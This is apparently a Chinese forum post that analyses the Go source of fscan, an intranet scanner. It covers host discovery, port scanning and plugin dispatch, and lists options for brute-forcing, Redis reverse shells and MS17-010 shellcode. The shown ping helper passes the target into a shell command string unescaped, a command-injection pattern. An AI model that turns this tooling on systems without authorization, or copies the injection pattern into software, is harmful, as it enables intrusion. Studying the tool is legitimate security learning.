量大管饱的Fscan源码详细分析
0*1 发表于 上海 安全工具 2060浏览 · 2024-08-16 04:54

前言

这是以前编写的文章,肯定有一些错误和稚嫩(某些加粗的个人点评实属年轻气盛,若说的不对,劳烦大佬捉虫了)。

fscan是我用过的比较顺手的扫描器,究其根源大概是内部封装了大量具有实战意义的功能,以及用户友好的傻瓜式操作吧。
通过对fscan源码的分析,可以学习到很多东西,非常适合作为年轻人的第一款扫描器的学习。
当然,其中还有比较多的可以优化的点,后续我会针对应用场景的不同,进行代码的重构,与功能的添加。

概述

fscan是一个非常有名的扫描器,在内网方面很好用。
主要功能:

  1. 信息搜集:
    • 存活探测(icmp)
    • 端口扫描
  2. 爆破功能:
    • 各类服务爆破(ssh、smb、rdp等)
    • 数据库密码爆破(mysql、mssql、redis、psql、oracle等)
  3. 系统信息、漏洞扫描:
    • netbios探测、域控识别
    • 获取目标网卡信息
    • 高危漏洞扫描(ms17010等)
  4. Web探测功能:
    • webtitle探测
    • web指纹识别(常见cms、oa框架等)
    • web漏洞扫描(weblogic、st2等,支持xray的poc)
  5. 漏洞利用:
    • redis写公钥或写计划任务
    • ssh命令执行
    • ms17017利用(植入shellcode),如添加用户等
  6. 其他功能:
    • 文件保存
      ## 主要参数
      -c string
         ssh命令执行
      -cookie string
         设置cookie
      -debug int
         多久没响应,就打印当前进度(default 60)
      -domain string
         smb爆破模块时,设置域名
      -h string
         目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
      -hf string
         读取文件中的目标
      -hn string
         扫描时,要跳过的ip: -hn 192.168.1.1/24
      -m string
         设置扫描模式: -m ssh (default "all")
      -no
         扫描结果不保存到文件中
      -nobr
         跳过sqlftpssh等的密码爆破
      -nopoc
         跳过web poc扫描
      -np
         跳过存活探测
      -num int
         web poc 发包速率  (default 20)
      -o string
         扫描结果保存到哪 (default "result.txt")
      -p string
         设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
      -pa string
         新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
      -path string
         fcgismb romote file path
      -ping
         使用ping代替icmp进行存活探测
      -pn string
         扫描时要跳过的端口,as: -pn 445
      -pocname string
         指定web poc的模糊名字, -pocname weblogic
      -proxy string
         设置代理, -proxy http://127.0.0.1:8080
      -user string
         指定爆破时的用户名
      -userf string
         指定爆破时的用户名文件
      -pwd string
         指定爆破时的密码
      -pwdf string
         指定爆破时的密码文件
      -rf string
         指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
      -rs string
         redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
      -silent
         静默扫描,适合cs扫描时不回显
      -sshkey string
         ssh连接时,指定ssh私钥
      -t int
         扫描线程 (default 600)
      -time int
         端口扫描超时时间 (default 3)
      -u string
         指定Url扫描
      -uf string
         指定Url文件扫描
      -wt int
         web访问超时时间 (default 5)
      -pocpath string
         指定poc路径
      -usera string
         在原有用户字典基础上,新增新用户
      -pwda string
         在原有密码字典基础上,增加新密码
      -socks5
         指定socks5代理 (as: -socks5  socks5://127.0.0.1:1080)
      -sc 
         指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
      

源码分析

参数处理

入口在main.go

func main() {
    start := time.Now()

    //     type HostInfo struct {
    //  Host    string
    //  Ports   string
    //  Url     string
    //  Infostr []string
    // }
    var Info common.HostInfo
    // 参数解析,填充hostinfo
    common.Flag(&Info)
    common.Parse(&Info)
    Plugins.Scan(Info)
    fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start))
}

参数读取与解析方面用的是标准flag库
common.Flag()读取参数,读入的参数保存在common.config.go文件中。

func Flag(Info *HostInfo) {
    ......
    flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
    flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
    flag.StringVar(&Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
    flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
    ......
}

common.Parse对传入参数进行解析。

func Parse(Info *HostInfo) {
    ParseUser()
    ParsePass(Info)
    ParseInput(Info)
    ParseScantype(Info)
}

ParseUser是对传入的用户名username做解析,从传入的username、userfile读取用户名,并且去重
ParsePass对传入的password相关参数做解析,主要实现了基于文件的password选择。还有url也是在这里面解析。(这代码写的有点糙啊,不优雅,函数命名功能划分有点拉跨,你干脆全放到一个函数里面去解析好了
ParseInput对传入的hostinfo做解析。如果hostinfo为空,则跳出函数。对useradd、passadd、Socks5Proxy、Proxy、Hash参数做解析,基本都是保存到全局参数中的。
ParseScantype根据传入的扫描种类参数,将需要扫描的端口保存。(如果扫描种类多了,switch的使用会非常臃肿,最好编写一个调度框架,将需要实现的扫描方式编写成插件注册到调度框架中

func ParseScantype(Info *HostInfo) {
    _, ok := PORTList[Scantype]
    if !ok {
        showmode()
    }
    if Scantype != "all" && Ports == DefaultPorts+","+Webport {
        switch Scantype {
        case "wmiexec":
            Ports = "135"
        case "wmiinfo":
            Ports = "135"
        case "smbinfo":
            Ports = "445"
        case "hostname":
            Ports = "135,137,139,445"
        case "smb2":
            Ports = "445"
        case "web":
            Ports = Webport
        case "webonly":
            Ports = Webport
        case "ms17010":
            Ports = "445"
        case "cve20200796":
            Ports = "445"
        case "portscan":
            Ports = DefaultPorts + "," + Webport
        case "main":
            Ports = DefaultPorts
        default:
            port, _ := PORTList[Scantype]
            Ports = strconv.Itoa(port)
        }
        fmt.Println("-m ", Scantype, " start scan the port:", Ports)
    }
}

扫描逻辑

参数处理好之后,进入Scan函数扫描逻辑。

IP提取

首先是提取IP。

fmt.Println("start infoscan")
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
if err != nil {
    fmt.Println("len(hosts)==0", err)
    return
}

作者嵌套了很多层IP解析逻辑,跟进common.ParseIP
当传入的host带有端口时,将端口分离,并传送剩下来的部分进入ParseIPs。如果没有携带端口,则直接进入ParseIPs/或者解析传入的host文件,进入Readipfile

func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
    if filename == "" && strings.Contains(host, ":") {
        //192.168.0.0/16:80
        hostport := strings.Split(host, ":")
        if len(hostport) == 2 {
            host = hostport[0]
            hosts = ParseIPs(host)
            Ports = hostport[1]
        }
    } else {
        hosts = ParseIPs(host)
        if filename != "" {
            var filehost []string
            filehost, _ = Readipfile(filename)
            hosts = append(hosts, filehost...)
        }
    }

跟进ParseIPs

func ParseIPs(ip string) (hosts []string) {
    // 按逗号分隔IP
    if strings.Contains(ip, ",") {
        IPList := strings.Split(ip, ",")
        var ips []string
        for _, ip := range IPList {
            // 检测每一个ip
            ips = parseIP(ip)
            // 传出的数据加入hosts切片
            hosts = append(hosts, ips...)
        }
    } else {
        hosts = parseIP(ip)
    }
    return hosts
}

跟进parseIP。这里的考量还是比较全的,掩码、ip段都有了。
并且作者在扫描/8时只扫描随机IP,我觉得不合理,既然用户要求B段扫描了,那自然需要满足要求(就算确实太多了,那也是用户要求,可以用加线程的方式去解决,也不能减少扫描的数量
我觉得ip应该返回net.IP,看看后面是什么操作。
最后返回的是[]string切片。

func parseIP(ip string) []string {
    reg := regexp.MustCompile(`[a-zA-Z]+`)
    switch {
    case ip == "192":
        return parseIP("192.168.0.0/8")
    case ip == "172":
        return parseIP("172.16.0.0/12")
    case ip == "10":
        return parseIP("10.0.0.0/8")
    // 扫描/8时,只扫网关和随机IP,避免扫描过多IP
    case strings.HasSuffix(ip, "/8"):
        return parseIP8(ip)
    //解析 /24 /16 /8 /xxx 等
    case strings.Contains(ip, "/"):
        return parseIP2(ip)
    //可能是域名,用lookup获取ip
    case reg.MatchString(ip):
        //  _, err := net.LookupHost(ip)
        //  if err != nil {
        //      return nil
        //  }
        return []string{ip}
    //192.168.1.1-192.168.1.100
    case strings.Contains(ip, "-"):
        return parseIP1(ip)
    //处理单个ip
    default:
        // 判断IP合法性,合法就将ip字符串返回,并加入切片
        testIP := net.ParseIP(ip)
        if testIP == nil {
            return nil
        }
        // 单个IP仍返回切片,需要满足函数原型要求
        return []string{ip}
    }
}

http客户端初始化

Scan中有Inithttp()

lib.Inithttp()

预设置一些参数,比如num参数,控制发包速率;webtimeout,顾名思义,web延时

// 自定义http客户端初始化
func Inithttp() {
    //common.Proxy = "http://127.0.0.1:8080"
    // -num int
    //   web poc 发包速率  (default 20)
    if common.PocNum == 0 {
        common.PocNum = 20
    }
    if common.WebTimeout == 0 {
        common.WebTimeout = 5
    }
    err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
    if err != nil {
        panic(err)
    }
}

跟进InitHttpClient

var (
    Client           *http.Client
    ClientNoRedirect *http.Client
    dialTimout       = 5 * time.Second
    keepAlive        = 5 * time.Second
)
..........
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
    // 定义一个函数类型,用于创建网络连接
    type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)

    // 创建一个网络拨号器,用于设置连接的超时和保活时间
    dialer := &net.Dialer{
        Timeout:   dialTimout,
        KeepAlive: keepAlive,
    }

    // 创建一个 HTTP 传输层,用于设置 HTTP 请求的传输参数
    tr := &http.Transport{
        DialContext:         dialer.DialContext, // 使用拨号器创建连接
        MaxConnsPerHost:     5, // 每个主机的最大连接数
        MaxIdleConns:        0, // 最大空闲连接数
        MaxIdleConnsPerHost: ThreadsNum * 2, // 每个主机的最大空闲连接数
        IdleConnTimeout:     keepAlive, // 空闲连接的超时时间
        TLSClientConfig:     &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}, // TLS 配置,设置最低版本和跳过证书验证
        TLSHandshakeTimeout: 5 * time.Second, // TLS 握手的超时时间
        DisableKeepAlives:   false, // 是否禁用长连接
    }

    // 如果设置了 Socks5 代理,使用代理拨号器替换默认的拨号器
    if common.Socks5Proxy != "" {
        dialSocksProxy, err := common.Socks5Dailer(dialer) // 创建代理拨号器
        if err != nil {
            return err // 如果出错,返回错误
        }
        if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok { // 如果代理拨号器实现了 ContextDialer 接口
            tr.DialContext = contextDialer.DialContext // 使用代理拨号器创建连接
        } else {
            return errors.New("Failed type assertion to DialContext") // 如果没有实现,返回错误
        }
    } else if DownProxy != "" { // 如果设置了其他代理
        if DownProxy == "1" { // 如果代理为 1 ,使用默认的 HTTP 代理
            DownProxy = "http://127.0.0.1:8080"
        } else if DownProxy == "2" { // 如果代理为 2 ,使用默认的 Socks5 代理
            DownProxy = "socks5://127.0.0.1:1080"
        } else if !strings.Contains(DownProxy, "://") { // 如果代理没有指定协议,使用默认的 HTTP 代理
            DownProxy = "http://127.0.0.1:" + DownProxy
        }
        if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") { // 如果代理不是 Socks 或 HTTP 协议,返回错误
            return errors.New("no support this proxy")
        }
        u, err := url.Parse(DownProxy) // 解析代理的 URL
        if err != nil {
            return err // 如果出错,返回错误
        }
        tr.Proxy = http.ProxyURL(u) // 设置 HTTP 传输层的代理
    }

    // 创建一个 HTTP 客户端,使用 HTTP 传输层和超时时间
    Client = &http.Client{
        Transport: tr,
        Timeout:   Timeout,
    }
    // 创建一个不自动跟随重定向的 HTTP 客户端,使用 HTTP 传输层和超时时间
    ClientNoRedirect = &http.Client{
        Transport:     tr,
        Timeout:       Timeout,
        // ErrUseLastResponse can be returned by Client.CheckRedirect hooks to
        // control how redirects are processed. If returned, the next request
        // is not sent and the most recent response is returned with its body
        // unclosed.
        // var ErrUseLastResponse = errors.New("net/http: use last response")
        CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, // 设置不跟随重定向的函数
    }
    return nil // 返回 nil 表示成功
}

主机探活

如果没设置noping参数,或者扫描参数为icmp,开启icmp探活,调用CheckLive,传入ping参数(使用ping而不是icmp)

if common.NoPing == false && len(Hosts) > 1 || common.Scantype == "icmp" {
    Hosts = CheckLive(Hosts, common.Ping)
    fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
}
if common.Scantype == "icmp" {
    common.LogWG.Wait()
    return
}

跟进checklive函数。
我的分析写在注释里了。

var (
    AliveHosts []string
    ExistHosts = make(map[string]struct{})
    livewg     sync.WaitGroup
)

func CheckLive(hostslist []string, Ping bool) []string {
    chanHosts := make(chan string, len(hostslist))
    // 开启协程用来检查传入管道的是否
    // 已经记录在hashmap中
    // 或者存在于传入的hostslist中
    go func() {
        for ip := range chanHosts {
            // 如果ip尚不存在hashmap中,且存在于传入的hostslist中,则
            if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
                // 置空值,只留下ip键,节省内存
                ExistHosts[ip] = struct{}{}
                if common.Silent == false {
                    if Ping == false {
                        fmt.Printf("(icmp) Target %-15s is alive\n", ip)
                    } else {
                        fmt.Printf("(ping) Target %-15s is alive\n", ip)
                    }
                }
                // 加入到存活主机中
                AliveHosts = append(AliveHosts, ip)
            }
            // 告知原子锁协程工作完成
            livewg.Done()
        }
    }()

接下来判断使用ping还是icmp进行探测

if Ping == true {
    //使用ping探测
    RunPing(hostslist, chanHosts)
} else {
    //优先尝试监听本地icmp,批量探测
    conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
    ......
}

ping

跟进Runping
用exec库直接执行命令,用ping进行访问。
具体的命令是

ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false

作者使用&& echo true || echo false的方式,判断是否执行成功

func RunPing(hostslist []string, chanHosts chan string) {
    var wg sync.WaitGroup
    limiter := make(chan struct{}, 50)
    for _, host := range hostslist {
        wg.Add(1)
        limiter <- struct{}{}
        go func(host string) {
            if ExecCommandPing(host) {
                livewg.Add(1)
                chanHosts <- host
            }
            <-limiter
            wg.Done()
        }(host)
    }
    wg.Wait()
}

func ExecCommandPing(ip string) bool {
    var command *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
    case "darwin":
        command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
    default: //linux
        command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
    }
    outinfo := bytes.Buffer{}
    command.Stdout = &outinfo
    err := command.Start()
    if err != nil {
        return false
    }
    if err = command.Wait(); err != nil {
        return false
    } else {
        if strings.Contains(outinfo.String(), "true") && strings.Count(outinfo.String(), ip) > 2 {
            return true
        } else {
            return false
        }
    }
}

icmp检测

优先在本地创建icmp套接字监听器。它针对本地的IP4:icmp协议的数据包,可以监听icmp数据包。进入RunIcmp1逻辑
如果无法建立本地icmp套接字,则发起一个icmp连接

if Ping == true {
    //使用ping探测
    RunPing(hostslist, chanHosts)
} else {
    //优先尝试监听本地icmp,批量探测
    conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
    if err == nil {
        RunIcmp1(hostslist, conn, chanHosts)
    } else {
        common.LogError(err)
        //尝试无监听icmp探测
        fmt.Println("trying RunIcmp2")
        conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
        defer func() {
            if conn != nil {
                conn.Close()
            }
        }()
        if err == nil {
            RunIcmp2(hostslist, chanHosts)
        } else {
            common.LogError(err)
            //使用ping探测
            fmt.Println("The current user permissions unable to send icmp packets")
            fmt.Println("start ping")
            RunPing(hostslist, chanHosts)
        }
    }
}

icmp包的构建

这里提前描述一下构建icmp的函数makemsg,下面会用到

// 用于生成序列号
func genSequence(v int16) (byte, byte) {
    ret1 := byte(v >> 8) // 将整数右移 8 位,取最高 8 位,转换为字节
    ret2 := byte(v & 255) // 将整数与 255 进行按位与运算,取最低 8 位,转换为字节
    return ret1, ret2 // 返回两个字节
}

// 用于生成标识符
func genIdentifier(host string) (byte, byte) {
    return host[0], host[1] // 返回主机名的第一个和第二个字符对应的字节
}

// 用于计算校验和,传入整个msg切片(0-40)
func checkSum(msg []byte) uint16 {
    sum := 0 // 定义一个整数变量,用于存储求和的结果
    length := len(msg) // 定义一个整数变量,用于存储字节切片的长度
    for i := 0; i < length-1; i += 2 { // 用一个循环,从第一个字节开始,每次跳过一个字节,直到倒数第二个字节
        sum += int(msg[i])*256 + int(msg[i+1]) // 将每两个字节看成一个 16 位的数,乘以 256 和加上,然后累加到 sum 中
    }
    if length%2 == 1 { // 如果字节切片的长度是奇数,说明最后还剩一个字节
        sum += int(msg[length-1]) * 256 // 将最后一个字节看成一个 16 位的数,乘以 256,然后累加到 sum 中
    }
    sum = (sum >> 16) + (sum & 0xffff) // 将 sum 的高 16 位和低 16 位相加,得到一个新的 sum
    sum = sum + (sum >> 16) // 如果新的 sum 的高 16 位不为 0,将其加到低 16 位上,得到一个最终的 sum
    answer := uint16(^sum) // 将 sum 取反,得到一个 uint16 类型的值,赋给 answer
    return answer // 返回 answer
}

// 定义一个函数,用于构造 ICMP 数据包,参数是一个字符串类型的主机名,返回一个字节切片
func makemsg(host string) []byte {
    msg := make([]byte, 40) // 创建一个长度为 40 的字节切片,用于存储 ICMP 数据包
    id0, id1 := genIdentifier(host) // 调用 genIdentifier 函数,根据主机名生成标识符
    msg[0] = 8 // 设置 ICMP 数据包的类型字段为 8 ,表示回显请求
    msg[1] = 0 // 设置 ICMP 数据包的代码字段为 0 ,表示无特殊含义
    msg[2] = 0 // 设置 ICMP 数据包的校验和字段的高 8 位为 0 ,暂时不计算校验和
    msg[3] = 0 // 设置 ICMP 数据包的校验和字段的低 8 位为 0 ,暂时不计算校验和
    msg[4], msg[5] = id0, id1 // 设置 ICMP 数据包的标识符字段为主机名的前两个字符对应的字节
    msg[6], msg[7] = genSequence(1) // 设置 ICMP 数据包的序列号字段为 1 对应的两个字节
    check := checkSum(msg[0:40]) // 调用 checkSum 函数,计算 ICMP 数据包的校验和,参数是数据包的前 40 个字节
    msg[2] = byte(check >> 8) // 设置 ICMP 数据包的校验和字段的高 8 位为校验和的高 8 位
    msg[3] = byte(check & 255) // 设置 ICMP 数据包的校验和字段的低 8 位为校验和的低 8 位
    return msg // 返回 ICMP 数据包的字节切片
}

这里是ICMP报文的格式:
ICMP 网际控制报文协议

https://support.huawei.com/enterprise/zh/doc/EDOC1100174722/9dff3e87

RunIcmp1

func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
    endflag := false
    // 协程进行监听icmp连接,如果有返回包的,将IP通过管道传回检测协程
    go func() {
        for {
            if endflag == true {
                return
            }
            msg := make([]byte, 100)
            _, sourceIP, _ := conn.ReadFrom(msg)
            if sourceIP != nil {
                livewg.Add(1)
                chanHosts <- sourceIP.String()
            }
        }
    }()

    // 向所有host发送icmp数据包
    for _, host := range hostslist {
        dst, _ := net.ResolveIPAddr("ip", host)
        IcmpByte := makemsg(host)
        conn.WriteTo(IcmpByte, dst)
    }
    //根据hosts数量修改icmp监听时间
    start := time.Now()
    for {
        if len(AliveHosts) == len(hostslist) {
            break
        }
        since := time.Since(start)
        var wait time.Duration
        switch {
        case len(hostslist) <= 256:
            wait = time.Second * 3
        default:
            wait = time.Second * 6
        }
        if since > wait {
            break
        }
    }
    endflag = true
    conn.Close()
}

其中的核心是makemsg函数,构建了icmp echo包,发送并且如果有回显数据,将对端IP传送给管道接收协程。

RunIcmp2

建立了连接的icmp收发器的核心逻辑:

func icmpalive(host string) bool {
    startTime := time.Now()
    conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
    if err != nil {
        return false
    }
    defer conn.Close()
    if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
        return false
    }
    msg := makemsg(host)
    if _, err := conn.Write(msg); err != nil {
        return false
    }

    receive := make([]byte, 60)
    if _, err := conn.Read(receive); err != nil {
        return false
    }

    return true
}

同样也是构造了数据包,并且用conn进行收发。
这里都是一次收发,说实在我没想到有什么区别,可以优化,可能是我太菜了。可能是调用接口的开销?


开放端口扫描

在这里有两种情况:

  1. 指定参数使用特定模块,进入NoPortScan,不进行端口存活探测
  2. 常见扫描开放端口

如指定了参数"pn",则从指定的扫描端口中剔除pn指定的不扫描端口。

var AlivePorts []string

if common.Scantype == "webonly" || common.Scantype == "webpoc" {
    AlivePorts = NoPortScan(Hosts, common.Ports)
} else if common.Scantype == "hostname" {
    common.Ports = "139"
    AlivePorts = NoPortScan(Hosts, common.Ports)
} else if len(Hosts) > 0 {
    AlivePorts = PortScan(Hosts, common.Ports, common.Timeout)
    fmt.Println("[*] alive ports len is:", len(AlivePorts))
    if common.Scantype == "portscan" {
        common.LogWG.Wait()
        return
    }
}
// 去重
if len(common.HostPort) > 0 {
    AlivePorts = append(AlivePorts, common.HostPort...)
    AlivePorts = common.RemoveDuplicate(AlivePorts)
    common.HostPort = nil
    fmt.Println("[*] AlivePorts len is:", len(AlivePorts))
}
// 获取服务端口
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
    severports = append(severports, strconv.Itoa(port))
}

总共获取两种端口,一种是存活端口,一种是服务端口。
接下来让我们看一看端口扫描的实现。

PortScan

这里的端口主要实现了tcp4的对端口的连接。
可以优化,比如加入SYN连接。

func PortScan(hostslist []string, ports string, timeout int64) []string {
    var AliveAddress []string
    probePorts := common.ParsePort(ports)
    if len(probePorts) == 0 {
        fmt.Printf("[-] parse port %s error, please check your port format\n", ports)
        return AliveAddress
    }
    noPorts := common.ParsePort(common.NoPorts)
    if len(noPorts) > 0 {
        temp := map[int]struct{}{}
        for _, port := range probePorts {
            temp[port] = struct{}{}
        }

        for _, port := range noPorts {
            delete(temp, port)
        }

        var newDatas []int
        for port := range temp {
            newDatas = append(newDatas, port)
        }
        probePorts = newDatas
        sort.Ints(probePorts)
    }
    workers := common.Threads
    Addrs := make(chan Addr, len(hostslist)*len(probePorts))
    results := make(chan string, len(hostslist)*len(probePorts))
    var wg sync.WaitGroup

    //接收结果
    go func() {
        for found := range results {
            AliveAddress = append(AliveAddress, found)
            wg.Done()
        }
    }()

    //多线程扫描
    for i := 0; i < workers; i++ {
        go func() {
            for addr := range Addrs {
                PortConnect(addr, results, timeout, &wg)
                wg.Done()
            }
        }()
    }

    //添加扫描目标
    for _, port := range probePorts {
        for _, host := range hostslist {
            wg.Add(1)
            Addrs <- Addr{host, port}
        }
    }
    wg.Wait()
    close(Addrs)
    close(results)
    return AliveAddress
}

具体的端口连接。连上之后说明端口服务开放,返回地址加端口address := host + ":" + strconv.Itoa(port)

func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
    host, port := addr.ip, addr.port
    conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
    if err == nil {
        defer conn.Close()
        address := host + ":" + strconv.Itoa(port)
        result := fmt.Sprintf("%s open", address)
        common.LogSuccess(result)
        wg.Add(1)
        respondingHosts <- address
    }
}

TCP连接的包装器

func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
    d := &net.Dialer{Timeout: timeout}
    return WrapperTCP(network, address, d)
}

func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
    //get conn
    var conn net.Conn
    if Socks5Proxy == "" {
        var err error
        conn, err = forward.Dial(network, address)
        if err != nil {
            return nil, err
        }
    } else {
        dailer, err := Socks5Dailer(forward)
        if err != nil {
            return nil, err
        }
        conn, err = dailer.Dial(network, address)
        if err != nil {
            return nil, err
        }
    }
    return conn, nil

}

漏洞扫描

这是扫描过程中的最后一战了。程序的末尾调用sync.waitgroup.Wait()等待协程的完成,并关闭使用的管道。

fmt.Println("start vulscan")
        for _, targetIP := range AlivePorts {
            info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
            if common.Scantype == "all" || common.Scantype == "main" {
                switch {
                case info.Ports == "135":
                    AddScan(info.Ports, info, &ch, &wg) //findnet
                    if common.IsWmi {
                        AddScan("1000005", info, &ch, &wg) //wmiexec
                    }
                case info.Ports == "445":
                    AddScan(ms17010, info, &ch, &wg) //ms17010
                    //AddScan(info.Ports, info, ch, &wg)  //smb
                    //AddScan("1000002", info, ch, &wg) //smbghost
                case info.Ports == "9000":
                    AddScan(web, info, &ch, &wg)        //http
                    AddScan(info.Ports, info, &ch, &wg) //fcgiscan
                case IsContain(severports, info.Ports):
                    AddScan(info.Ports, info, &ch, &wg) //plugins scan
                default:
                    AddScan(web, info, &ch, &wg) //webtitle
                }
            } else {
                scantype := strconv.Itoa(common.PORTList[common.Scantype])
                AddScan(scantype, info, &ch, &wg)
            }
        }
    }
    for _, url := range common.Urls {
        info.Url = url
        AddScan(web, info, &ch, &wg)
    }
    wg.Wait()
    common.LogWG.Wait()
    close(common.Results)
    fmt.Printf("已完成 %v/%v\n", common.End, common.Num)
}

漏扫主要由AddScan进行模块调度,根据处理好的扫描漏洞类型,进行相对应的扫描。
AddScan会开启协程,并调用ScanFunc

func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
    // 用于控制协程数量
    *ch <- struct{}{}
    wg.Add(1)
    go func() {
        Mutex.Lock()
        common.Num += 1
        Mutex.Unlock()
        ScanFunc(&scantype, &info)
        Mutex.Lock()
        common.End += 1
        Mutex.Unlock()
        wg.Done()
        <-*ch
    }()
}

调用ScanFunc,和reflect模块交互

func ScanFunc(name *string, info *common.HostInfo) {
    f := reflect.ValueOf(PluginList[*name])
    in := []reflect.Value{reflect.ValueOf(info)}
    f.Call(in)
}

从插件列表中获取对应的处理函数,pugins/base.go

var PluginList = map[string]interface{}{
    "21":      FtpScan,
    "22":      SshScan,
    "135":     Findnet,
    "139":     NetBIOS,
    "445":     SmbScan,
    "1433":    MssqlScan,
    "1521":    OracleScan,
    "3306":    MysqlScan,
    "3389":    RdpScan,
    "5432":    PostgresScan,
    "6379":    RedisScan,
    "9000":    FcgiScan,
    "11211":   MemcachedScan,
    "27017":   MongodbScan,
    "1000001": MS17010,
    "1000002": SmbGhost,
    "1000003": WebTitle,
    "1000004": SmbScan2,
    "1000005": WmiExec,
}

参数都传入Host结构

type HostInfo struct {
    Host    string
    Ports   string
    Url     string
    Infostr []string
}

web扫描

执行的是webtitle函数。
传入的参数结构:

type HostInfo struct {
    Host    string
    Ports   string
    Url     string
    Infostr []string
}

如果是进行web方面的poc检测,直接调用webscan函数,否则调用gowebtitleinfocheck函数,进行网页的访问和信息检查,最后根据nopoc参数的状况判断是否调用webscan进行poc扫描。

func WebTitle(info *common.HostInfo) error {
    if common.Scantype == "webpoc" {
        WebScan.WebScan(info)
        return nil
    }
    err, CheckData := GOWebTitle(info)
    info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)

    if !common.NoPoc && err == nil {
        WebScan.WebScan(info)
    } else {
        errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
        common.LogError(errlog)
    }
    return err
}

GoWebTitle

首先进行url的处理。
如果没有指定协议(端口),则调用GetProtocol去进行服务协议的判断(http/https)。

func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
    if info.Url == "" {
        switch info.Ports {
        case "80":
            info.Url = fmt.Sprintf("http://%s", info.Host)
        case "443":
            info.Url = fmt.Sprintf("https://%s", info.Host)
        default:
            host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
            protocol := GetProtocol(host, common.Timeout)
            info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
        }
    } else {
        if !strings.Contains(info.Url, "://") {
            host := strings.Split(info.Url, "/")[0]
            protocol := GetProtocol(host, common.Timeout)
            info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
        }
    }
.......

GetProtocol发起一次TLS连接,如果握手成功,返回https,否则http。

func GetProtocol(host string, Timeout int64) (protocol string) {
    protocol = "http"
    //如果端口是80或443,跳过Protocol判断
    if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
        return
    } else if strings.HasSuffix(host, ":443") {
        protocol = "https"
        return
    }

    socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
    if err != nil {
        return
    }
    conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true})
    defer func() {
        if conn != nil {
            defer func() {
                if err := recover(); err != nil {
                    common.LogError(err)
                }
            }()
            conn.Close()
        }
    }()
    conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
    err = conn.Handshake()
    if err == nil || strings.Contains(err.Error(), "handshake failure") {
        protocol = "https"
    }
    return protocol
}
geturl

退回扫描函数,接下来进入真实的访问url的逻辑。

  • 尝试访问指定的 URL,并处理可能的跳转情况。
  • 确保最终访问的 URL 使用的是 https 协议。
  • 可能还包括访问图标的操作,但已经被注释掉了。
    err, result, CheckData := geturl(info, 1, CheckData)
    if err != nil && !strings.Contains(err.Error(), "EOF") {
      return
    }
    

查看geturl的逻辑。传入一个flag,标志位控制函数的行为

// 传入的flag控制函数行为
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
    //flag 1 first try
    //flag 2 /favicon.ico
    //flag 3 302
